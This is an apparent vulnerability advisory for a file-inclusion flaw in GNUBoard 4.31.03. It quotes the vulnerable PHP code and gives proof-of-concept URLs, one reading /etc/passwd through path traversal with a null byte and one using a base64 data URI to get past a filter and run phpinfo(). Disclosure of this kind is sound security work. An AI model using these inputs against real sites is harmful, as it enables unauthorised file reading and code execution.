GNUBoard V4.31.03 (08.12.29) Local/Remote File Include Vulnerability
BY flyh4t#hotmail.com
Thx to qiuren/rayt
TEAM:Wolves Security Team
SITE:http://bbs.wolvez.org/

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SIR GNUBoard (VERSION 4.31.03 (08.12.29))is a widely used bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But we find a file include vulnerability affects SIR GNUBoard.
In special conditions,it may be used as a remote file include vulnerability .
This issue  to  execute arbitrary  PHP code on an affected computer with the privileges of the affected Web server.
Here is the details:

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TEST ON VERSION 4.31.03 (08.12.29)

/***************************
/common.php

@extract($_GET);
@extract($_POST);
@extract($_SERVER);

……

if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("<meta http-equiv='content-type' content='text/html; '><script language='JavaScript'> alert('wrong.'); </script>");
   
//if (!$g4_path) $g4_path = ".";
//it's not allow char :// in $g4_path
$g4['path'] = $g4_path;

unset($g4_path);

include_once("$g4[path]/lib/constant.php");  //file include
include_once("$g4[path]/config.php");  
include_once("$g4[path]/lib/common.lib.php");

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poc:
http://test.com/GnuBoard/common.php?g4_path=../../../../../../etc/passwd%00

when the site meets PHP >= 5.2.0&allow_url_include = On, we  can  use php data bypass preg_match("/:\/\//", $g4_path)
it's became a Remote File Include Vulnerability

poc:
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bypass_local.php
<?php
//coded by qiuren
if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("fuck");
$g4['path'] = $g4_path;
unset($g4_path);
include_once("$g4[path]/lib/constant.php");
?>

bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=

phpinfo() can be executed
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